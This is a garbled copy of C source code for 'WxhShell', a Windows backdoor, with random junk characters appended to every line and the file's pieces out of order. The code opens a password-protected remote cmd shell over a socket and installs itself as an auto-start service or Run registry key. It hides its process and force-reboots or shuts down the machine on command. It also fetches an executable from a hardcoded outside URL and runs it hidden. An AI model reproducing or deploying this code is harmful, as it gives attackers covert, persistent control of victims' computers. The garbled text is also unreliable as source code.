    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *(CV OY~  
    if(Boot(SHUTDOWN)) z\+Ug9Of  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4'GosQ85  
    else { h$$2(!G4  
    closesocket(wsh); xa$4P [  
    ExitThread(0); e(Y5OTus  
    }  RR[1mM  
    break;  re@;6o  
    } rYPj3!#  
  // 获取shell eh}I?:(a?  
  case 's': { y?ypRCgO.u  
    CmdShell(wsh); :[!b";pR  
    closesocket(wsh); )kvrQ6  
    ExitThread(0); [J +5  
    break; zr^"zcfz&  
  } z\c$$+t  
  // 退出 ;(Kj-,>  
  case 'x': { }-T :   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IA^*?,AZy  
    CloseIt(wsh); *:8,w?Nt  
    break; M{Hy=:K+  
    } mG.H=iw  
  // 离开 ]!v\whZ>  
  case 'q': { ((T6z$:hA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iE,/x^&,&  
    closesocket(wsh); kWbD?i-  
    WSACleanup(); y_{fc$_&  
    exit(1); Eu`K2_b  
    break; .RN2os{  
        } iG+=whvL  
  } `P?!2\/  
  } ASUL g{  
37 d-!  
  // 提示信息 u$ff %`E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8DcIM(;Z  
} {"mb)zr  
  } a}V<CBi  
DMiB \o  
  return; $aDkZj  
} h]DzX8r}  
bj7r"_  
// shell模块句柄 ]BaK8mPl  
int CmdShell(SOCKET sock) F&$~]R=&  
{ 1-}M5]Y  
STARTUPINFO si; DvY)n<U1qA  
ZeroMemory(&si,sizeof(si)); +%? \#EQJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,$bK)|pGV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e,Sxu[2  
PROCESS_INFORMATION ProcessInfo; ub]"b[j\1  
char cmdline[]="cmd"; ]. 0;;v6)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <8BNqbX  
  return 0; Ah_0o_Di  
} gfQ1p?  
HleMzykF  
// 自身启动模式 }TRVCF1  
int StartFromService(void) _bSn YhS  
{ ?<U">8cP  
typedef struct X1o=rT  
{ Lrq e:\  
  DWORD ExitStatus; [WO>}rGw4  
  DWORD PebBaseAddress; Zb$P`~(%  
  DWORD AffinityMask; /A93mY[  
  DWORD BasePriority; 2q ~y\fe  
  ULONG UniqueProcessId; 9YY*)5eyD  
  ULONG InheritedFromUniqueProcessId; :I8HRkp  
}   PROCESS_BASIC_INFORMATION; l(d3N4iz  
='Yg^:n  
PROCNTQSIP NtQueryInformationProcess; zR5KC!xc  
u1ahAk7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4ZtsLMwLD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fr<V])  
NE+ ;<mW  
  HANDLE             hProcess; 0,j!*  
  PROCESS_BASIC_INFORMATION pbi; V;u FYt; E  
DeTLh($\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t4<+]]   
  if(NULL == hInst ) return 0; 9{8xMM-  
nx@,oC4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BVu{To:g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oW3|b2D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9}z%+t8u  
1@xdzKua1  
  if (!NtQueryInformationProcess) return 0; 3ICMH  
vfdTGM`3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z+2 j(  
  if(!hProcess) return 0; 70.Tm#qh  
- *v)sP"@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s f8F h  
Sh\Jm*5  
  CloseHandle(hProcess);  NR98]X  
0A')zKik  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^y[- e9O|  
if(hProcess==NULL) return 0; <aQ5chf7  
^J)0i_RS  
HMODULE hMod; '3fN2[(  
char procName[255]; Pxf/*z  
unsigned long cbNeeded; lPw`KW  
y#i` i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {!^0j{T  
AA0\C_W0p  
  CloseHandle(hProcess); .+&M,% x  
qO[_8's8  
if(strstr(procName,"services")) return 1; // 以服务启动 ;Q0H7)t:  
^9 ^DA!'  
  return 0; // 注册表启动 }z5u^_-m  
} {43 J'WsJ  
%Ot*k%F  
// 主模块 j+("4b'  
int StartWxhshell(LPSTR lpCmdLine) ]Rj?OSok  
{ yiMqe^zy  
  SOCKET wsl; C(kL=WD   
BOOL val=TRUE;  rp=Y }  
  int port=0; -|I_aOC@  
  struct sockaddr_in door; |IDZMd0  
c^stfFE&  
  if(wscfg.ws_autoins) Install(); otlv ;3263  
W0<2*7s  
port=atoi(lpCmdLine); u>/Jb+  
6pbtE]  
if(port<=0) port=wscfg.ws_port; /Ow@CB  
>L433qR  
  WSADATA data; Sl'{rol'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qWD(rq+9  
M2I*_pI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q4Mv2SPT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -6$GM J7  
  door.sin_family = AF_INET; }6gum  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); . f!dH  
  door.sin_port = htons(port); w<Bw2c  
ZFs xsg^r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )FN$Jlo  
closesocket(wsl); xqfIm%9i}  
return 1; 9 dK`  
} -_= m j  
/7x1Z*Hg  
  if(listen(wsl,2) == INVALID_SOCKET) { nPk&/H%5hn  
closesocket(wsl); u:H:N]  
return 1; AWi+xo|  
} Z1.v%"/(  
  Wxhshell(wsl); @hy~H?XN  
  WSACleanup(); LCW}1H:Q  
Nh\o39=  
return 0; dSe d 6  
XSGBC:U)l  
} ]n3!%0]\  
J$lfI^^  
// 以NT服务方式启动 45&Rl,2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zbgGK7  
{ d.HcO^  
DWORD   status = 0; k8r1)B4ab  
  DWORD   specificError = 0xfffffff; ]^,!;do  
M3r;Pdj2r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [s{[ .0P]+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MGY0^6yK5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )_Z^oH ]<  
  serviceStatus.dwWin32ExitCode     = 0; u60RuP&  
  serviceStatus.dwServiceSpecificExitCode = 0; M6GiohI_"P  
  serviceStatus.dwCheckPoint       = 0; zrf tF2U  
  serviceStatus.dwWaitHint       = 0; wD4[UU?  
zRbY]dW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  0T^ 0)c  
  if (hServiceStatusHandle==0) return; {h PB%  
q@tym5  
status = GetLastError(); ~+ 9v z  
  if (status!=NO_ERROR) p$uPj*  
{ 7D1$cmtH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VJ?>o  
    serviceStatus.dwCheckPoint       = 0; !qU1RdZ  
    serviceStatus.dwWaitHint       = 0; K)5j  
    serviceStatus.dwWin32ExitCode     = status; IUNr<w<  
    serviceStatus.dwServiceSpecificExitCode = specificError; gA% A})  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .rS. >d^n  
    return; >|yP`m   
  } 0a bQY  
i,S1|R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; crN*eFeW  
  serviceStatus.dwCheckPoint       = 0; -m@PqJF^  
  serviceStatus.dwWaitHint       = 0; k/sfak{Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !0vLSF=  
} /V63yzoY  
EB*C;ms  
// 处理NT服务事件,比如:启动、停止 (\!?>T[En  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A=IpP}7J  
{  !Q*w]  
switch(fdwControl) Z4rk$K'=1w  
{ b*H*(}A6"'  
case SERVICE_CONTROL_STOP: r/HTkXs I  
  serviceStatus.dwWin32ExitCode = 0; {+nf&5E 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jM @N<k  
  serviceStatus.dwCheckPoint   = 0; Dh}(B$~Oz+  
  serviceStatus.dwWaitHint     = 0; VBw 5[  
  { {dm>]@"S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e([>sAx!1  
  } u&^KrOM@#  
  return; 'O\ y7"a  
case SERVICE_CONTROL_PAUSE: O"Nr$bS(Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <oV[[wl  
  break; 8A.7q  
case SERVICE_CONTROL_CONTINUE: =J)<Nx.gA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w;j<$<4=7  
  break; =B5{7g\  
case SERVICE_CONTROL_INTERROGATE: 9} m?E<6&  
  break; Mgi~j.[  
}; 'Grii,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "lLh#W1d  
} 6<$.Z-,  
 WZY+c  
// 标准应用程序主函数 tx~,7TMS/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u!5q)>Wt(  
{ u[Kz^ga<  
{sGEopd8]q  
// 获取操作系统版本 B^r?N-Z A  
OsIsNt=GetOsVer(); Yj/ o17  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @j_o CDS  
8FMxn{k2  
  // 从命令行安装 l`ZL^uT  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4\u`M R  
Wc2&3p9 c  
  // 下载执行文件 -grmmE]/  
if(wscfg.ws_downexe) { \fiy[W/k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'jfE?ngt  
  WinExec(wscfg.ws_filenam,SW_HIDE); D 5n\h5  
} cWZITT{A  
7@%qm|i>w  
if(!OsIsNt) { =eUKpYI  
// 如果时win9x,隐藏进程并且设置为注册表启动 |+W{c`KL  
HideProc(); R20 .dA_N  
StartWxhshell(lpCmdLine); Z@Zg3AVU  
} vj%"x/TP  
else Q=Mv"~2>B  
  if(StartFromService()) i.uyfV&F  
  // 以服务方式启动 {)lZfj}l  
  StartServiceCtrlDispatcher(DispatchTable); $cHU,  
else T`":Q1n  
  // 普通方式启动 ))f@9m  
  StartWxhshell(lpCmdLine); P dqvXc  
pxgf%P<7  
return 0; Ig}hap]G  
} S',h*e  
BInSS*L  
?D _4KFr  
RU7+$Z0K  
=========================================== oSD=3DQ;  
`e<IO_cg  
LYECX  
JxtzI2  
ElUFne=  
YiO}"  
" pI-Qq%Nwt  
X^N6s"2  
#include <stdio.h> klnNBo!  
#include <string.h> "h_f- vP  
#include <windows.h> ,$:u^;V(  
#include <winsock2.h> s(3u\#P  
#include <winsvc.h> LF!KP  
#include <urlmon.h> /C Xg$%\  
>~Zj  
#pragma comment (lib, "Ws2_32.lib") #1E4 R}B  
#pragma comment (lib, "urlmon.lib") j!i* &  
-%MXt  
#define MAX_USER   100 // 最大客户端连接数 STjb2t,a  
#define BUF_SOCK   200 // sock buffer aC2Vz9e  
#define KEY_BUFF   255 // 输入 buffer %<nGm\  
KPO w  
#define REBOOT     0   // 重启 }Y.YJXum  
#define SHUTDOWN   1   // 关机 X,l7>>L{g  
qfl!>  
#define DEF_PORT   5000 // 监听端口 b'+Wf#.]f0  
'uL$j=vB  
#define REG_LEN     16   // 注册表键长度 BedL `[ ,  
#define SVC_LEN     80   // NT服务名长度 9`/e= RL  
siCi+Y  
// 从dll定义API *Ci&1Mu^Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #M!$CGi (  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ffL]_E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5}hQIO&^%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !Z2h ?..O  
m}?jU  
// wxhshell配置信息 yJC: bD1xi  
struct WSCFG { faRQj:R8  
  int ws_port;         // 监听端口 !`=iKe&%E  
  char ws_passstr[REG_LEN]; // 口令 jc_k\  
  int ws_autoins;       // 安装标记, 1=yes 0=no cI8\d 4/py  
  char ws_regname[REG_LEN]; // 注册表键名 c!6v-2ykv  
  char ws_svcname[REG_LEN]; // 服务名 -{OJM|W+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xI?'Nh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jW8ad{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H4 O"^#5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5 ,MM`:{{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OXM=@B<"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cD`?" n  
;q9Y%*  
}; dLH@,EKl)  
`Z>=5:+G@2  
// default Wxhshell configuration +0[H`5-^  
struct WSCFG wscfg={DEF_PORT, =3'B$PY  
    "xuhuanlingzhe", G2wSd'n*y  
    1, igTs[q=Ak  
    "Wxhshell", l^bak]9 1  
    "Wxhshell", tE-bHu370  
            "WxhShell Service", h#UPU7;  
    "Wrsky Windows CmdShell Service", OjffN'a+N  
    "Please Input Your Password: ", D]iyr>V6'  
  1, a U.3  
  "http://www.wrsky.com/wxhshell.exe", 8u)>o* :  
  "Wxhshell.exe" e/ g9r  
    }; )UU`uzU;u  
aj1g9 y  
// 消息定义模块 :dipk,b?n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6W YVHG  
char *msg_ws_prompt="\n\r? for help\n\r#>";  rwSR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ew.6y=Ba  
char *msg_ws_ext="\n\rExit."; w8q 2f-K-  
char *msg_ws_end="\n\rQuit."; eVMnI yr  
char *msg_ws_boot="\n\rReboot..."; ;>ml@@Z  
char *msg_ws_poff="\n\rShutdown..."; DS4y@,/)'  
char *msg_ws_down="\n\rSave to "; _M8'~$Sg  
T"H"m4{'  
char *msg_ws_err="\n\rErr!"; W^HE1Dt]  
char *msg_ws_ok="\n\rOK!"; 3dZj<(.  
E Y !o#m  
char ExeFile[MAX_PATH]; "+O/OKfR0  
int nUser = 0; mDA+ .l&)b  
HANDLE handles[MAX_USER]; &QQ6F>'T  
int OsIsNt; "u sPzp5  
0r$n  
SERVICE_STATUS       serviceStatus; w ?"M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]!"7k_  
}vP(SF 6  
// 函数声明 =s.0 f:(  
int Install(void); )J yB  
int Uninstall(void); +:aNgO#e8  
int DownloadFile(char *sURL, SOCKET wsh); ]T5\LNyN  
int Boot(int flag); ep5`&g]3  
void HideProc(void); 5(1c?biP&  
int GetOsVer(void); ,bM):  
int Wxhshell(SOCKET wsl); k]-Q3 V  
void TalkWithClient(void *cs); (u@X5O(a  
int CmdShell(SOCKET sock); c*<BU6y  
int StartFromService(void); 7;.Iat9gMf  
int StartWxhshell(LPSTR lpCmdLine); pIpdVKen  
>Z gV8X:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @!ja/Y^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @|w/`!}9q  
gE*7[*2?t  
// 数据结构和表定义 1n6%EC|X  
SERVICE_TABLE_ENTRY DispatchTable[] = Y HS/|-  
{ >^,?0HP  
{wscfg.ws_svcname, NTServiceMain}, .n.N.e  
{NULL, NULL} XCyb[(4  
}; KT(v'KE 1  
[\fwnS_1  
// 自我安装 e`JWY9%  
int Install(void) Xyz/CZPi  
{ 5}5oj37x  
  char svExeFile[MAX_PATH]; 5TeGdfu @  
  HKEY key; C(>g4.-p8  
  strcpy(svExeFile,ExeFile); 6N Ogi  
NTCFmdbs 6  
// 如果是win9x系统,修改注册表设为自启动 noB8*n0  
if(!OsIsNt) { >@a7Zzl0H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bz%wV-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i3L2N~:V  
  RegCloseKey(key); ^rY18?XC+:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eqOT@~H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &VCg`r-{~  
  RegCloseKey(key); "8a ?K Q  
  return 0; -~_|ZnuM9  
    } ,5T1QWn^f  
  } Tgla_sMb  
} *].qm g%  
else {  r/)ZKO,  
tU!Yg"4Q  
// 如果是NT以上系统,安装为系统服务 T>hm\!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +.rOqkxJ  
if (schSCManager!=0) "So "oT1  
{ {z;K0  
  SC_HANDLE schService = CreateService S$40nM  
  ( 6u`$a&dR'l  
  schSCManager, DV>;sCMJ %  
  wscfg.ws_svcname, 8`1]#Vw  
  wscfg.ws_svcdisp, nq+6ipx  
  SERVICE_ALL_ACCESS, 6p&uifY}tR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _sL;E<)y(  
  SERVICE_AUTO_START, AG;KXL[V  
  SERVICE_ERROR_NORMAL, +nB0O/m'U  
  svExeFile, H,7!"!?@N  
  NULL, ]!jfrj  
  NULL, LZ&I<ID`-  
  NULL, ]HXHz(?;F  
  NULL, ^LXsU] R  
  NULL UV{})T*s  
  ); 'V <ZmJ2  
  if (schService!=0) -Oz! GX  
  { {F\P3-ub  
  CloseServiceHandle(schService); WyM2h  
  CloseServiceHandle(schSCManager); 4L97UhLL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #i*PwgC%_  
  strcat(svExeFile,wscfg.ws_svcname); *mYGs )|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4+p1`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6o(.zk`d  
  RegCloseKey(key); 4v{Ye,2  
  return 0; 2FO<Z %Y  
    } [a~@6*=  
  } S+^hK1jL  
  CloseServiceHandle(schSCManager); `fG<iBD  
} &h7 n>q  
} Q]RE,ZZ  
W?ghG  
return 1; >f1fvv6  
} m0^~VK|  
"WbKhE  
// 自我卸载 uFlf#t =  
int Uninstall(void) OI6m>XH?  
{ nhZ/^`Y<  
  HKEY key; 1r*@1y<0"  
Z}SqiT  
if(!OsIsNt) { p`52  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fI=p^k:  
  RegDeleteValue(key,wscfg.ws_regname); Mdp'u$^!  
  RegCloseKey(key); NH=@[t) P,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f%[xl6VE;  
  RegDeleteValue(key,wscfg.ws_regname); Ruwp"T}mF  
  RegCloseKey(key); x~D8XN{  
  return 0; 2jkma :$'  
  } R 4DfqX  
} zQ u9LN  
} txX>zR*)  
else { ?UeV5<TewS  
|;p.!FO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3e\IRF xzb  
if (schSCManager!=0) yKm6 8n^  
{ EyBTja(4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /pLf?m9  
  if (schService!=0) X V)ctF4  
  { %ca`v;].  
  if(DeleteService(schService)!=0) { A#i[Us|  
  CloseServiceHandle(schService); fZnq5rTk"  
  CloseServiceHandle(schSCManager); XSh [#qJ  
  return 0; "zqa:D26  
  } hC]:+.Q+  
  CloseServiceHandle(schService); X_,R!$wbg:  
  } |fgh ryI,  
  CloseServiceHandle(schSCManager); @,W5K$Ka=  
} $uRi/%Q9  
} =&FaMR2  
3&+nV1  
return 1; w:R#F( 'B  
} G6JP3dOT  
7$IR^  
// 从指定url下载文件 8 ~Pdr]5  
int DownloadFile(char *sURL, SOCKET wsh) )6o%6$c  
{ l2Rnyb<;;  
  HRESULT hr; t2m7Yh5B  
char seps[]= "/"; D )Jac@,0  
char *token; y*=Ipdj  
char *file; _U^G*EqL*  
char myURL[MAX_PATH]; Z=a~0&G  
char myFILE[MAX_PATH]; kcMg`pJ4<  
`9\^.g)  
strcpy(myURL,sURL); L2%D$!9  
  token=strtok(myURL,seps);  &!wtH  
  while(token!=NULL) y,qn9  
  { Dg}EI^ d  
    file=token; )FfS7 C\.  
  token=strtok(NULL,seps); "/3YV%to-#  
  } N]\)Ok  
Wq}W )E  
GetCurrentDirectory(MAX_PATH,myFILE); Ev3,p`zS._  
strcat(myFILE, "\\"); by,3A  
strcat(myFILE, file); &78lep  
  send(wsh,myFILE,strlen(myFILE),0); l=#b7rBP  
send(wsh,"...",3,0); >Dz8+y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VS_I'SPPIc  
  if(hr==S_OK) ;sx4w!Y,  
return 0; 8u1?\SYnb  
else v(, tu/  
return 1; "x 3C3Zu.;  
rdAy '38g  
} 80Q%c(i  
O]61guxro  
// 系统电源模块 ~4mRm!DP  
int Boot(int flag) P=s3&NDD  
{ joNV4v"=`  
  HANDLE hToken; ZQ-6n1O  
  TOKEN_PRIVILEGES tkp; cu)B!#<!&  
C@pn4[jTl  
  if(OsIsNt) { kX)*:~*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d vo|9 >  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n_wF_K\h  
    tkp.PrivilegeCount = 1; Xxj<Ai 2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o5m] Gqa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TFz k5  
if(flag==REBOOT) { RRl`;w?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V`1x![\  
  return 0; $ P2*qpqy  
} NH*"AE;  
else { 2~ vvE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D'^UZZlI^I  
  return 0; BQs\!~Ux2  
} /fU -0a8  
  } #<#-Bv  
  else { YHxQb$v)  
if(flag==REBOOT) { J5z\e@?.0\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B$S@xD $  
  return 0; 7 ;2>kgf~  
} !JVv`YN  
else { *&V"x=ba,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A.RG8"  
  return 0; !\'HKk~V  
} p Ohjq#}  
} lAGntYv  
C 7YS>?^]  
return 1; JgV4-B0  
} FL&L$#X  
4ti,R'  
// win9x进程隐藏模块 1 qp"D_h  
void HideProc(void) z.OJ1vY7  
{ \!%~( FM  
90ov[|MkM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,D&-.`'E  
  if ( hKernel != NULL ) `(6cRT`Wp  
  { Zlygx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %zhSSB =BJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pu'NSNT  
    FreeLibrary(hKernel); zz8NBO  
  } (UTA3Db  
Qo*OC 9E`  
return; :'[ha$  
} o>&-B.zq  
NceK>:: 56  
// 获取操作系统版本 H29vuGQjq  
int GetOsVer(void) Zv9%}%7p  
{ 0C6T>E7  
  OSVERSIONINFO winfo; p<y \ ^a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^Cj3\G4,  
  GetVersionEx(&winfo); ,L-V?B(UQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E5a7p.  
  return 1; ll?Qg%V[t  
  else pr1kYMrqri  
  return 0; N(O* "1b  
} 1KjzKFnb  
6=*n$l# }  
// 客户端句柄模块 lg{M\ +  
int Wxhshell(SOCKET wsl) dl6Ju  
{ 7&(h_}Z  
  SOCKET wsh; ~K ('t9|  
  struct sockaddr_in client; }*vE/W  
  DWORD myID; Z@AN0?,`~o  
R?Ch8mW.!  
  while(nUser<MAX_USER) V@\u<LO0G  
{ ]H<}6}Gd  
  int nSize=sizeof(client); h dqr~9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]@CXUa,>a  
  if(wsh==INVALID_SOCKET) return 1; sWi4+PAM0  
~b%dBn]n>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vtc%MG1  
if(handles[nUser]==0) Ci2*5n<  
  closesocket(wsh); #E#@6ZomT  
else &3itBQF  
  nUser++; ^KV:.up6  
  } }n +MVJ;dG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $F]*B `  
b27t-p8  
  return 0; 5D mSgP:  
} 6t'.4SR  
G{zxP%[E  
// 关闭 socket X<f4X"y  
void CloseIt(SOCKET wsh) '}q/;}ih  
{ t$lJgj(  
closesocket(wsh); j#YVv c%  
nUser--; $- Y8@bw  
ExitThread(0); l vBcEg  
} \vuWypo  
2<d'!cm  
// 客户端请求句柄 q3|SZoN  
void TalkWithClient(void *cs) \)2'+R  
{ !yz3:Yzu  
`6PBV+]Vm3  
  SOCKET wsh=(SOCKET)cs; ; NO#/  
  char pwd[SVC_LEN]; \[/}Cy  
  char cmd[KEY_BUFF]; ] ^J  
char chr[1]; uI3oPP> $  
int i,j; g<:TsP'|  
 vF'IK,  
  while (nUser < MAX_USER) { ciW;sK8  
8L`wib2  
if(wscfg.ws_passstr) { ?DY6V;&F@f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |{rhks~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ler$HA%F]  
  //ZeroMemory(pwd,KEY_BUFF); 0;w84>M  
      i=0; Mv:\T%]  
  while(i<SVC_LEN) { -tp3qi  
-.Zy(  
  // 设置超时 C\ 34R  
  fd_set FdRead; _J,*0~O$  
  struct timeval TimeOut; T ^/\Rr  
  FD_ZERO(&FdRead); KSU hB  
  FD_SET(wsh,&FdRead); tw] l  
  TimeOut.tv_sec=8; u_*y~1^0  
  TimeOut.tv_usec=0; TnuA uui*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zJOyr"B'8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j ~I_by  
Tq8U5#NF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &0+Ba[Z ^  
  pwd=chr[0]; -y/Y%]%0  
  if(chr[0]==0xd || chr[0]==0xa) { *#GX~3A  
  pwd=0; }xgs]\^,73  
  break; ?` 2z8uD/  
  } i{r[zA]$  
  i++; `J;g~#/k  
    } eXkpU7w;  
'1Ex{$Yk  
  // 如果是非法用户,关闭 socket 6?/f $,v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G}nj 71=H  
} `*B6T7p1  
gj }Vnv1[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ayN[y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Bz.6OR  
8w~X4A,  
while(1) { Z0M|Bv9_  
|}d+BD  
  ZeroMemory(cmd,KEY_BUFF); )0=H)k0  
/5?tXH"  
      // 自动支持客户端 telnet标准   _A=i2?g  
  j=0; Y*S(uqM  
  while(j<KEY_BUFF) { 1.nYT*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1W7ClT_cQ  
  cmd[j]=chr[0]; Jn20^YG  
  if(chr[0]==0xa || chr[0]==0xd) { i~m;Ah,#  
  cmd[j]=0; /@",5U#  
  break; 0aYoc-( A  
  } %~N| RSec  
  j++; Bey9P)_Of  
    } f;b f R&v  
mqiCn]8G  
  // 下载文件 A!a.,{fZ  
  if(strstr(cmd,"http://")) { .gCun_td#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8P} a  
  if(DownloadFile(cmd,wsh)) | 8akp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pe@*')o*  
  else M[0NB2`Wp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xBE}/F$ 45  
  } 7<LCX{Uw  
